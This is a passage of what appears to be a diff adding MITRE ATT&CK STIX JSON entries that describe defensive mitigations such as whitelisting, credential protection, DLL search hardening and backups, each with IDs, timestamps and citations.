focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)", + "type": "course-of-action", + "name": "Control Panel Items Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "external_references": [ + { + "external_id": "T1196", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1196" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Microsoft UAC", + "description": "Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx" + } + ], + "modified": "2019-07-24T14:20:57.628Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "type": "course-of-action", + "name": "Create Account Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "external_references": [ + { + "external_id": "T1136", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1136" + } + ], + "modified": "2019-07-24T18:11:24.572Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", + "type": "course-of-action", + "name": "Credential Access Protection", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "external_references": [ + { + "external_id": "M1043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1043" + } + ], + "modified": "2019-06-11T16:47:12.860Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:47:12.859Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.", + "type": "course-of-action", + "name": "Credential Dumping Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "external_references": [ + { + "external_id": "T1003", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1003" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + }, + { + "source_name": "Microsoft LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "TechNet Credential Guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard" + }, + { + "source_name": "GitHub SHB Credential Guard", + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft Replication ACL", + "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.", + "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr" + }, + { + "source_name": "Microsoft Disable NTLM Nov 2012", + "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", + "url": "https://technet.microsoft.com/library/jj865668.aspx" + } + ], + "modified": "2019-07-24T14:21:52.632Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)", + "type": "course-of-action", + "name": "Credentials in Files Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "external_references": [ + { + "external_id": "T1081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1081" + }, + { + "source_name": "Microsoft MS14-025", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "url": "http://support.microsoft.com/kb/2962486" + } + ], + "modified": "2019-07-24T18:12:19.081Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "type": "course-of-action", + "name": "Credentials in Registry Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "external_references": [ + { + "external_id": "T1214", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1214" + } + ], + "modified": "2019-07-24T14:22:57.902Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Custom Command and Control Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", + "external_references": [ + { + "external_id": "T1094", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1094" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T18:13:22.017Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Custom Cryptographic Protocol Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "external_references": [ + { + "external_id": "T1024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1024" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T18:14:14.227Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "type": "course-of-action", + "name": "DCShadow Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "external_references": [ + { + "external_id": "T1207", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1207" + } + ], + "modified": "2019-07-24T14:23:59.683Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "type": "course-of-action", + "name": "DLL Search Order Hijacking Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04", + "external_references": [ + { + "external_id": "T1038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1038" + }, + { + "source_name": "Microsoft DLL Preloading", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-24T18:15:13.659Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", + "type": "course-of-action", + "name": "DLL Side-Loading Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908", + "external_references": [ + { + "external_id": "T1073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1073" + } + ], + "modified": "2019-07-24T14:24:44.818Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", + "type": "course-of-action", + "name": "Data Backup", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "external_references": [ + { + "external_id": "M1053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1053" + } + ], + "modified": "2019-07-19T14:33:33.543Z", + "x_mitre_version": "1.0", + "created": "2019-07-19T14:33:33.543Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", + "type": "course-of-action", + "name": "Data Compressed Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "external_references": [ + { + "external_id": "T1002", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1002" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T18:16:17.610Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data Destruction Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "external_references": [ + { + "external_id": "T1488", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1488" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T18:17:49.716Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-03-14T20:17:16.234Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Data Encoding Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "external_references": [ + { + "external_id": "T1132", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1132" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-24T18:25:06.552Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data Encrypted Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b", + "external_references": [ + { + "external_id": "T1022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1022" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:26:14.411Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Data Encrypted for Impact Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c", + "external_references": [ + { + "external_id": "T1486", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1486" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:26:43.878Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-03-15T14:49:53.983Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Data Obfuscation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + 